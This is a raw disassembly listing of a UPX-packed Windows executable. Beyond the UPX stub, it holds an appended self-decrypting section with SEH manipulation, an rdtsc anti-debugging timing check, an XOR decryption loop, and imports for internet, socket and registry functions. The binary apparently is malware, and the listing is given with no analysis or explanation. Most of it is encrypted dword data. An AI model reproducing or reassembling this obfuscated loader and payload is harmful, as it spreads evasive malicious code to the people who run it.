3A0B6972h, 0BFBDEC97h, 486573C8h, 0C646E61h dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h, 0A3449711h dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h, 6509530Fh dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h, 4C0B111Dh dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h, 0D5CB080Bh dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h, 0E94D8AD8h dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h, 78455A62h dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h, 87B591Bh dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h, 0D160C3FCh dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h, 1AC13F86h dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh, 6F112C79h dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h, 4166B105h dd 9C62834Fh, 424F466h, 0DB616C5Ah, 9B558543h, 370E1141h dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h, 455036AAh dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh, 0B7334A02h dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h dd 48C016h, 81434BE0h, 54C32Fh, 2 dup(0) db 90h db 0FFh, 2 dup(0) align 10h pusha mov esi, offset dword_31426000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31427BD2 ; --------------------------------------------------------------------------- align 8 loc_31427BC8: ; CODE XREF: UPX1:loc_31427BD9j mov al, [esi] inc esi mov [edi], al inc edi loc_31427BCE: ; CODE XREF: UPX1:31427C66j ; UPX1:31427C7Dj add ebx, ebx jnz short loc_31427BD9 loc_31427BD2: ; CODE XREF: UPX1:31427BC0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BD9: ; CODE XREF: UPX1:31427BD0j jb short loc_31427BC8 mov eax, 1 loc_31427BE0: ; CODE XREF: UPX1:31427BEFj ; UPX1:31427BFAj add ebx, ebx jnz short loc_31427BEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BEB: ; CODE XREF: UPX1:31427BE2j adc eax, eax add ebx, ebx jnb short loc_31427BE0 jnz short loc_31427BFC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427BE0 loc_31427BFC: ; CODE XREF: UPX1:31427BF1j xor ecx, ecx sub eax, 3 jb short loc_31427C10 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31427C82 mov ebp, eax loc_31427C10: ; CODE XREF: UPX1:31427C01j add ebx, ebx jnz short loc_31427C1B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C1B: ; CODE XREF: UPX1:31427C12j adc ecx, ecx add ebx, ebx jnz short loc_31427C28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C28: ; CODE XREF: UPX1:31427C1Fj adc ecx, ecx jnz short loc_31427C4C inc ecx loc_31427C2D: ; CODE XREF: UPX1:31427C3Cj ; UPX1:31427C47j add ebx, ebx jnz short loc_31427C38 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C38: ; CODE XREF: UPX1:31427C2Fj adc ecx, ecx add ebx, ebx jnb short loc_31427C2D jnz short loc_31427C49 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427C2D loc_31427C49: ; CODE XREF: UPX1:31427C3Ej add ecx, 2 loc_31427C4C: ; CODE XREF: UPX1:31427C2Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31427C6C loc_31427C5D: ; CODE XREF: UPX1:31427C64j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31427C5D jmp loc_31427BCE ; --------------------------------------------------------------------------- align 4 loc_31427C6C: ; CODE XREF: UPX1:31427C5Bj ; UPX1:31427C79j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31427C6C add edi, ecx jmp loc_31427BCE ; --------------------------------------------------------------------------- loc_31427C82: ; CODE XREF: UPX1:31427C0Cj pop esi mov edi, esi mov ecx, 7Eh loc_31427C8A: ; CODE XREF: UPX1:31427C91j ; UPX1:31427C96j mov al, [edi] inc edi sub al, 0E8h loc_31427C8F: ; CODE XREF: UPX1:31427CB4j cmp al, 1 ja short loc_31427C8A cmp byte ptr [edi], 1 jnz short loc_31427C8A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31427C8F lea edi, [esi+5000h] loc_31427CBC: ; CODE XREF: UPX1:31427CDEj mov eax, [edi] or eax, eax jz short loc_31427D07 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31427CD9: ; CODE XREF: UPX1:31427CFFj mov al, [edi] inc edi or al, al jz short loc_31427CBC mov ecx, edi jns short near ptr loc_31427CEA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31427CEA: ; CODE XREF: UPX1:31427CE2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31427D01 mov [ebx], eax add ebx, 4 jmp short loc_31427CD9 ; --------------------------------------------------------------------------- loc_31427D01: ; CODE XREF: UPX1:31427CF8j call dword ptr [esi+7094h] loc_31427D07: ; CODE XREF: UPX1:31427CC0j popa jmp loc_31422334 ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 0001A000 ( 106496.) ; Section size in file : 0001A000 ( 106496.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31428000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dword_3142808C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_31432017+2Er ... dd 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h, 64C02BC3h dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h dd 1E00h, 78h, 75Dh dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_3142A017 call sub_3142A08C mov ebp, 12FFC0h ; DATA XREF: sub_3142A017+6w jmp loc_3142A04F ; =============== S U B R O U T I N E ======================================= sub_3142A017 proc near ; CODE XREF: UPX2:3142A003p push dword ptr fs:0 mov dword ptr ds:loc_3142A00D+1, ebp mov fs:0, esp xor edx, edx push 80000000h push edx push 4 push edx push edx push edx push 80000000h push 2000h push 4 push edx call ds:dword_3142808C ; LoadLibraryA loc_3142A04F: ; CODE XREF: UPX2:3142A012j call $+5 pop edi sub edi, 0FFFFFFBBh mov edx, 28B0h cld sub ebx, ebx or ebx, 0C4h push edi loc_3142A06A: ; CODE XREF: sub_3142A017+65j xchg al, [edi] cld cld sub ax, bx xchg al, [edi] cld add edi, 1 inc ebx dec edx cmp edx, 0 ja short loc_3142A06A pop edi mov ebx, [ebp-8] mov fs:0, ebx leave jmp edi sub_3142A017 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3142A08C proc near ; CODE XREF: UPX2:3142A008p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_3142A08C endp ; sp-analysis failed ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+2FE3h], ebx test dword ptr [eax+28A0h], 80000000h mov ebx, [esp+4] jz short loc_3142A0E4 pop ecx mov [eax+2FE7h], esi mov [eax+2FEBh], edi cmp byte ptr [eax+28A4h], 0E8h jnz short loc_3142A0DB add ebx, [eax+28A5h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3142A0E3 ; --------------------------------------------------------------------------- loc_3142A0DB: ; CODE XREF: UPX2:3142A0CCj mov ebx, [eax+28A6h] push dword ptr [ebx] loc_3142A0E3: ; CODE XREF: UPX2:3142A0D9j pop ebx loc_3142A0E4: ; CODE XREF: UPX2:3142A0B6j push ebp mov ebp, eax sub dword ptr [esp+4], 1E9Eh sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+3638B0h] mov ecx, 0 rep movsb call sub_3142A159 mov ecx, eax call sub_3142A159 sub eax, ecx jz short loc_3142A12D cmp eax, 100h ja short loc_3142A12D lea eax, [ebp+3610D3h] mov dl, [eax-10h] call sub_3142A15D jmp short loc_3142A16C ; --------------------------------------------------------------------------- loc_3142A12D: ; CODE XREF: UPX2:3142A114j ; UPX2:3142A11Bj test dword ptr [ebp+3638A5h], 80000000h jz short loc_3142A157 lea esi, [ebp+3638A9h] mov edi, [esp+4] movsb movsd mov esi, [ebp+363FECh] mov edi, [ebp+363FF0h] mov ebx, [ebp+363FE8h] loc_3142A157: ; CODE XREF: UPX2:3142A137j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3142A159 proc near ; CODE XREF: UPX2:3142A106p ; UPX2:3142A10Dp rdtsc retn sub_3142A159 endp ; --------------------------------------------------------------------------- pusha ; =============== S U B R O U T I N E ======================================= sub_3142A15D proc near ; CODE XREF: UPX2:3142A126p mov dh, dl mov ecx, 27D2h loc_3142A164: ; CODE XREF: sub_3142A15D+Cj xor [eax], dl inc eax add dl, dh loop loc_3142A164 retn sub_3142A15D endp ; --------------------------------------------------------------------------- loc_3142A16C: ; CODE XREF: UPX2:3142A12Bj loope loc_3142A191 and [eax+1Fh], dh mov edi, 942E7B21h dec eax jmp near ptr 0B2EAD60Fh ; --------------------------------------------------------------------------- db 8Bh, 0C0h dw 8021h dd 8B4F35E0h, 0BC63C3A3h, 5098C186h, 0BCCB525h db 0B0h ; --------------------------------------------------------------------------- loc_3142A191: ; CODE XREF: UPX2:loc_3142A16Cj cmp [ebx+0B2EBD3h], ah or ebp, [edx+31F3A358h] insd and eax, [ebx-7Ah] rcr eax, 2 adc al, 90h push ebp mov [ecx+38h], esp movsd outsd add eax, [ecx-5D1A0BBCh] dec edx pop ecx cmp eax, 0C48C0903h retf ; --------------------------------------------------------------------------- shl byte ptr [ecx+edi], cl retn ; --------------------------------------------------------------------------- dw 8FD3h dd 8BEE4457h, 7B23DC1Ah, 327746Bh, 802C2893h, 6CE340E0h dd 0C845B30Fh, 6CC42E81h, 7F73C005h, 4625C936h, 6820F65Bh dd 0A040EDh, 0E145B223h, 76E52594h, 0C154AE05h, 0D65F13E0h dd 0BB6A45E9h, 0D4840D6h, 0C720C060h, 61EC3485h, 0F265B413h dd 0D22F92h, 9F63F33h, 369B0E65h, 83E32860h, 0C02540E0h dd 7F23446Fh, 0FFF0BF1Fh, 0B61B8EF5h, 0F60C5E0h, 802341E5h dd 2C1DC0E0h, 8120F675h, 0B55F5495h, 8016FF88h, 158CCD1Eh dd 5AFC056h, 965564h, 25A3C78Bh, 965564h, 0F4854360h, 0A076F5h dd 955865E3h, 83A040D6h, 0B635BCC5h, 0C6F740E0h, 0B63211E5h dd 0B52941E0h, 8016FB32h, 1550F56Dh, 4913C056h, 3BFEFD6Dh dd 0A091C056h, 0A3CC08h, 15DF9F60h, 967B7Eh, 8F3F28A1h dd 0A09464h, 94674B60h, 0C3A3008Ah, 8030C008h, 5625C9E8h dd 0E820F65Bh, 0A030E9h, 15DFC00Ah, 967B36h, 42F00E5h dd 0A0420Eh, 80954DF7h, 8BA076F0h, 8C23798Fh, 0ED2140E0h dd 8016D060h, 12F1D56Dh, 25D3C056h, 0EC23A21Fh, 0EADC4B40h dd 596073E8h, 9B1955EDh, 0AB5340D6h, 0D7A93CEBh, 1CE7BEF0h dd 8023A837h, 955F40E1h, 8016FB36h, 85808463h, 1FA4CFA0h dd 97A040E2h, 814AC00Ah, 0A44088h, 8020A8E0h, 955F40E1h dd 8016FB36h, 84AF8065h, 8020C2E2h, 68F0408Ah, 8024C060h dd 0E861408Ah, 814A976Ch, 0A128B0h, 15DFC061h, 967BB6h dd 8120CA08h, 5635BFE0h, 6820F65Bh, 0A040E5h, 80229189h dd 59A02AE0h, 8A4ACA83h, 3B6AD51Fh, 71CBC056h, 761DC323h dd 8020F65Bh, 294C4EFh, 86C8C060h, 4EA040E0h, 0CC6C8434h dd 9235BFE0h, 0D20F65Bh, 36B78A55h, 0DE9F360h, 369B9E5Dh dd 132E7160h, 0A23408h, 929D4360h, 0A076DCh, 8220446Fh dd 852B40E0h, 8016FB82h, 8FA1301Fh, 0B6173CE5h, 0FA25CBE0h dd 7F20F65Bh, 852F4190h, 8016F829h, 3B46C56Bh, 0F0DFC056h dd 5025CFE1h, 0B20F658h, 369BAA6Dh, 7F3A2360h, 852F4191h dd 8016F83Dh, 3B52CD6Bh, 89C3C056h, 8FA1311Fh, 0B618AAE5h dd 118A8E0h, 3DADC060h, 967C88h, 804A0FEBh, 705F9916h dd 83C14364h, 0F9A3008Ah, 0EA20AA37h, 0D715CDF8h, 3920F675h dd 0A040F9h, 7E6DC4EDh, 665FBF1Fh, 0CD244DCBh, 0A040E0h dd 0C7AD6B06h, 0E492EBE4h, 0BB3455EDh, 660C40D6h, 2B46C2E9h dd 0E2A28263h, 0EAF44B95h, 70A928E0h, 4CABC060h, 0C42B408Ah dd 8048C00Ah, 6AA840E0h, 0EA729120h, 955F10EEh, 8016FB8Eh dd 4064C3B8h, 8050C908h, 6A74CBE0h, 0EAEC4B60h, 6AA02AA0h dd 804A9262h, 0D04988h, 0D120AA60h, 0FFF0BF8Ah, 0B61B36F5h dd 85F91FE0h, 87A4CF9Fh, 8DA040E1h, 0B630C0D5h, 0CA3F9E0h dd 6FABC060h, 0ED21E513h, 8016D060h, 1497C56Dh, 60DFC056h dd 20CA14B0h, 15DF3F0Ah, 967B1Eh, 0F57F00E5h, 1EEA8D4h dd 91C8C060h, 53A040E0h, 0E2458405h, 72F02795h, 0EC49B609h dd 0C52785h, 856F2837h, 0B55F40E0h, 8016FF0Ch, 3B22D51Fh dd 7F77C056h, 369B0675h, 0EA20AA60h, 7635BFE2h, 3920F65Bh dd 0A041C8h, 9C1EBF7h, 57F464ECh, 0BB9A559Fh, 0F69340D6h dd 0BC7665E3h, 54A040D6h, 3EB53F37h, 85A076DBh, 0C646B4A0h dd 72A4BE63h, 0A4543F8Eh, 6AA02AE8h, 36B53F4Ah, 85A076DBh dd 13FCB4A0h, 0A5C708h, 11E9F360h, 85997A03h, 8016FC36h dd 7C217295h, 0F343E444h, 28D43392h, 8EBD01E1h, 54F040E0h dd 0D0719630h, 955F13B0h, 8016FB0Eh, 74F98065h, 0A4543F6Fh dd 5625CFE8h, 6820F65Ch, 0FF5FBD25h, 0C6B53F33h, 0EBA076DBh dd 0A8E441EEh, 57A040E1h, 0BB66559Fh, 955F40D6h, 8016FB26h dd 0FF5B2809h, 0EA7AC09Fh, 6AA02AE0h, 0E820AA60h, 0A440E1h dd 804A04EBh, 8BAC2AB0h, 0D6C23FA4h, 941F98h, 68E9F360h dd 0FF5FBF3Ah, 956655EDh, 51F240D6h, 15DF9031h, 967BAAh dd 430004E3h, 58F81870h, 8010C960h, 0AE28E0h, 8020C160h dd 0A040E0h, 8020C060h, 88E5E0h, 8020C060h, 53F611E0h dd 0BB72559Fh, 590B40D6h, 0F5E044CCh, 0C34EA21Bh, 995155EDh dd 0FFF240D6h, 0B61B6AF5h, 6C25C9E0h, 6820F65Fh, 0A040F6h dd 0EB4FAF2Ch, 72F03095h, 0EC49B609h, 56C52785h, 0E555AC01h dd 0FFF040A1h, 0B61B92F5h, 7025C9E0h, 4320F65Fh, 73C102BCh dd 0ED418E05h, 62EF2485h, 0F443A50Ah, 74F61C93h, 0F443A533h dd 74D32CE0h, 0EE45AC12h, 65D203E0h, 0C645B401h, 41C52C89h dd 0E5528360h, 46C53481h, 0CD45AC09h, 69D03081h, 8061A70Eh dd 61C532A3h, 0F270A514h, 73C5238Fh, 0C3208113h, 74C12592h dd 0ED459205h, 54C5348Fh, 0E145B208h, 72E34084h, 0E554A105h dd 65D228B4h, 0C320A401h, 74C12592h, 0EF4F9405h, 6CC5288Ch dd 0D312F310h, 73D0218Eh, 8054AF08h, 74C938A5h, 0E552A834h dd 46A02481h, 0D445AC09h, 54C52D89h, 0F359930Fh, 54CD2594h dd 8045AD09h, 65C532A6h, 0F242A92Ch, 0D93281h, 0C654A527h dd 41C52C89h, 0E952B414h, 65D43582h, 0C7208113h, 69E63485h dd 0E973A50Ch, 47A0259Ah, 0E966B405h, 69F4258Ch, 0C720A50Dh dd 6FED3485h, 0E54CB504h, 64CE21A8h, 8061A50Ch, 54D425A7h dd 0C650AD05h, 4EC52C89h, 0C145AD01h, 74C507E0h, 0F04DA534h dd 68D421B0h, 0E567C021h, 72C51694h, 0EE4FA913h, 74C507E0h dd 0F352A536h, 45CE2F89h, 0C7208118h, 6FF63485h, 0E54DB50Ch dd 6FC62EA9h, 0F441AD12h, 41CE2F89h, 0E14F8C60h, 62C90C84h dd 0F952A112h, 61ED40A1h, 0E5499610h, 46C60F97h, 8045AC09h dd 6EC530AFh, 0E54CA926h, 70D021ADh, 0C147AE09h, 65D00FE0h dd 0EF52900Eh, 73D32583h, 0EF529060h, 73D32583h, 0E966F253h dd 0D43392h, 0E34FB230h, 33D33385h, 0F8458E52h, 65F34094h dd 0EC498614h, 74D40185h, 0F542A912h, 41D32594h, 0F4459360h dd 65CC29A6h, 0E54DA934h, 65CC13E0h, 0D320B005h, 65D43399h dd 0ED49940Dh, 46CF1485h, 0D445AC09h, 0C52D89h, 0E14DAE35h dd 65C91690h, 0C6468F17h, 0C52C89h, 0F452A936h, 41CC2195h dd 0E34FAC0Ch, 69D217E0h, 0E966A514h, 4EA0258Ch, 0EA448114h dd 50D43395h, 0E956A912h, 65C7258Ch, 0EB4F9413h, 4EA02E85h dd 0E5528314h, 46C53481h, 8045AC09h, 72E334AEh, 0E554A105h dd 63CF32B0h, 8053B305h, 72E334AEh, 0E554A105h, 63CF32B0h dd 0C553B305h, 74EE4098h, 0E145B223h, 65F32594h, 0EF49B403h dd 74EE408Eh, 0E145B223h, 73F52594h, 0F270B205h, 73C5238Fh dd 0F46EC013h, 56D021ADh, 0CF57A509h, 63C51386h, 0EE4FA914h dd 4FD40EE0h, 0C64EA510h, 0C52C89h, 0F06FB42Eh, 72F02E85h dd 0F345A30Fh, 6BCF1493h, 0CE20AE05h, 65D00F94h, 0E345930Eh dd 6ECF2994h, 0D0548E60h, 65D42F92h, 0E976B403h, 61D53492h dd 0ED458D0Ch, 0D9328Fh, 0F571B42Eh, 49D93285h, 0F24FA60Eh dd 69D4218Dh, 0EF74AE0Fh, 0CE258Bh, 0F277B42Eh, 56C53489h dd 0F554B209h, 65ED2C81h, 0F952AF0Dh, 6CD412E0h, 0E349AE35h dd 53C5248Fh, 0EE49B214h, 41CF1487h, 0D349B30Eh, 6EC93294h dd 0D377C007h, 61D413A1h, 0F055B412h, 6FCC23E0h, 0EF53A513h dd 74C52B83h, 0EE4FA360h, 74C3258Eh, 0F445A760h, 74D32F88h dd 0E14EB902h, 72A0258Dh, 8056A305h, 64CE2593h, 0E34FB360h dd 0D4258Bh, 0E554AE29h, 74C52E92h, 0F34FAC23h, 6EC10885h dd 8045AC04h dd 65D42EA9h, 0F445AE12h, 43D425A7h, 0E54EAE0Fh, 64C53483h dd 0F441B433h, 6EE94085h, 0EE52A514h, 70EF3485h, 8061AE05h dd 65D42EA9h, 0F445AE12h, 6EC530AFh, 0C14CB235h, 74CE09E0h dd 0E54EB205h, 61C51294h, 0EC498604h, 44E14085h, 0C9708136h dd 448E72D3h, 0D2208C2Ch, 6CE32785h, 0CB45B30Fh, 52A03985h dd 0F06FA705h, 65EB2E85h, 0C1588519h, 67C512E0h, 0F245B531h dd 6CC11699h, 0F865A515h, 65F240A1h, 0F4459307h, 75CC21B6h dd 0C1588505h, 0F69316E0h, 0D676C20Ah, 1CA946Bh, 98523F32h dd 7035BFB6h, 0B20F65Fh, 56F61624h, 0F0DF9630h, 0DE35BFF8h dd 320F65Bh, 0C2FE5024h, 0C9ADC068h, 51686B1Bh, 8020C008h dd 24ECCD08h, 0EA20AA63h, 53F011E5h, 4CABC50Ah, 5074CBB0h dd 0D160AA34h, 955F13B2h, 8016FC66h, 0FFAC8463h, 0B61CCEF5h dd 864C3E0h, 94B54DA3h, 33A076DBh, 0D220AAA9h, 32A07088h dd 0D1E44B60h, 50E02AB1h, 338AA31h, 6AF44820h, 15DF906Eh dd 967CE2h, 0B30004E3h, 0F60C532h, 5AD702F9h, 0C36263B8h dd 68DFF337h, 0FF5FBF21h, 8085446Fh, 68F040E0h, 8020B069h dd 0CA946Bh, 0C04A0CEBh, 10A04088h, 0D222AA60h, 9C8408Ah dd 0EA20C010h, 50F311E0h, 0BBD6559Fh, 59FF40D6h, 0BB66559Fh dd 0FF2540D6h, 0DABB114h, 96559Ch, 15ADCC83h, 9650E0h dd 0D3771163h, 852B921Fh, 8016FB82h, 275BCF6Dh, 0ABC8C060h dd 8B5FBF1Fh, 0B61B3AE5h, 482FCDE0h, 6820C048h, 0FF5FBFFAh dd 0BBC645EBh, 8F2D40D6h, 8020E82Fh, 0FF5F4908h, 6AA54B9Fh dd 85A076DBh, 0D00B4A0h, 881C6Fh, 7ED42860h, 852BBF1Fh dd 8016FB92h, 0BD48065h, 0A8494FEDh, 0DF4840E0h, 0BDF3F9Eh dd 55631F27h, 8020C088h, 0ED211DE0h, 8016DB70h, 852D89D3h dd 8016DEFDh, 51F114B1h, 7F719130h, 369B3275h, 0A4244760h dd 3BE6D51Fh, 427DC056h, 0E8F540E4h, 8020C060h, 3F4DC1BDh dd 0EA20F67Bh, 0A35CD1Fh, 0D020F67Bh, 24808DB2h, 320EA60h dd 0C7C64C24h, 0B63B90E5h, 0C7808DE0h, 0B63B92E5h, 2AA064E0h dd 0EAE39D60h, 94818FAh, 0D20C060h, 0FE0A21A2h, 43D0B5A9h dd 3CC0D589h, 425C056h, 89E248E8h, 0B61CA0F5h, 0C342B7E0h dd 80202835h, 81FD40E0h, 0B63B598Dh, 643DCBE0h, 320F65Ch dd 0A8649Ch, 8099446Fh, 0EC2140E0h, 8020C268h, 1A428B4h dd 15DFC060h, 967B7Ah, 4AD3CEBh, 0A144C4h, 804A9060h, 0A04408h dd 0D2729660h, 955F17E0h, 8016FBF6h, 972D89D3h, 8020C164h dd 2CA11B1h, 0E821AA31h, 40A040E0h, 0E2B53F32h, 96A076DBh dd 0DB5436E5h, 4C814B0h, 0D720C061h, 2084F41Fh, 7F20C062h dd 369C0275h, 40A59960h, 14435694h, 0EAF44B30h, 57F112E0h dd 5AB53F36h, 59A076DBh, 505500E5h, 4635BFB6h, 0D20F65Bh dd 57F204B7h, 0D78840Ah, 0A14477h, 40136B60h, 0F3F9508Ah dd 0D07090CBh, 50F010B0h, 0EAB53F32h, 81A076DBh, 8022C8A4h dd 24D4BFE0h, 0B2B53F68h, 53A076DCh, 0BC12559Fh, 0C2FD40D6h dd 0BEA0C064h, 46A135EAh, 95584DEBh, 194340D6h, 902055EDh dd 0D1A340D6h, 4F23F36h, 1F284F20h, 8F20C061h, 0A15064h dd 0BA1E4060h, 80E65095h, 42FC05Eh, 0A041E1h, 0F500FEE0h dd 3E210611h, 0C76E8930h, 0CF2B0295h, 0CF2186A6h, 6AF18ECBh dd 0D3769160h, 3C8AD51Fh, 0BB79C056h, 0DF254F21h, 0D20C060h dd 36BED165h, 0E820AA60h, 0A040ECh, 15DF9330h, 967CCAh dd 8020CC5Dh, 0BF254FE0h, 6920C060h, 0A04051h, 0D270FEE1h dd 85AF16A9h, 8020C0C5h, 0ACA88663h, 42FCD5Ch, 0A04079h dd 7355E05Ch, 0F9A7C4Ch, 80204CE5h, 20ADEDE0h, 0BD00E040h dd 74C527C1h, 0BC8CBF15h, 81DC35C0h, 0E8003F1Eh, 71D53494h dd 0F023BEE1h, 758F6FDAh, 7F670608h, 0BA914FE0h, 8020E770h dd 0FFF2A217h, 0B61B0AF5h, 506073E0h, 68709030h, 0A040E9h dd 0EE57AF24h, 64C12F8Ch, 0BAB53F60h, 85A076DCh, 0B316B4A0h dd 6425C929h, 0D120F65Ch, 0A24088h, 0D67191E0h, 3E35BFB0h dd 0D20F65Ch, 36BBD375h, 49139060h, 52F011B4h, 15DF9131h dd 967B92h, 7F04C4E7h, 369B0675h, 0E33860h, 36B52B6Dh dd 43D9C160h, 1CA418Ah, 0F3DFF39Fh, 80B5BFE4h, 0B660C8DDh dd 5ED441E0h, 0DA5400E5h, 0D02B9BD3h, 0D023CBD3h, 0B715CDDCh dd 0B20F67Dh, 0A14C5Ah, 88AA4B60h, 3A040E1h, 0E0EBEB98h dd 0A6538B6Bh, 0C725B401h, 2E4BB502h, 0D32F07E3h, 8BF78C6Bh dd 0EA7490B4h, 6AF211A0h, 86B53F9Fh, 8BA076DCh, 0B61BBAEDh dd 0C64C3E0h, 69A30F4Bh, 6AA787E7h, 9202860h, 536343AFh dd 0D774862Fh, 5CE512A1h, 0F243A92Dh, 66CF338Fh, 0E9779C14h dd 77CF248Eh, 0F5639C13h, 6EC53292h, 0F2459614h, 6ECF2993h dd 0F058853Ch, 65D22F8Ch, 0E174C012h, 74C52792h, 0F453AF28h dd 0A042E0h, 0F529530h, 63D22930h, 0E95AEE04h, 708E2685h dd 0C96EC00Ch, 72800BA3h, 0E358AE16h, 0AC43697h, 0D2659335h dd 4FEA30C0h, 0A6008E29h, 74D22996h, 6875CA15h, 0A040E0h dd 23CD413Dh, 0C6A076FEh, 0B635ABE5h, 955F40E0h, 8016FBFEh dd 74BFA821h, 0B3EAA5Ch, 369B1655h, 0BC8C9960h, 668A35CEh dd 9DDFFEE1h, 0BD2D6395h, 8016FC3Ah, 57A2366Bh, 0D85A6C5h dd 36979165h, 77A54F60h, 0FAA076D7h, 0CDA86E9h, 0B15BBEAEh dd 6BEF2261h, 0FBBFA881h, 0FCA33F9Fh, 75A448C4h, 88A50635h dd 0A076A0h, 8020C888h, 43E613E0h, 0CC6C844Eh, 0AA35BFE0h dd 8B20F65Bh, 93B73420h, 7F73C20Ah, 369B1275h, 0F4E04560h dd 825BEE8h, 7F20F620h, 8448D330h, 68DF3F9Eh, 0A040EBh dd 0DF638633h, 448E13AFh, 7F208C2Ch, 369BEA75h, 7E492860h dd 0EE48BF1Fh, 7FDF3F95h, 36B2916Dh, 0DE9F360h, 36E04465h dd 0D1719160h, 51F110B1h, 26B53F31h, 0E8A076DBh, 8020C06Bh dd 52E513B5h, 0C40EF253h, 0FFA00CACh, 0B61B6AF5h, 0AAA8E0h dd 0F357C060h, 6EC93290h, 8061A614h, 5235BFB0h, 920F65Bh dd 369B1A65h, 0D11CF60h, 36B9316Dh, 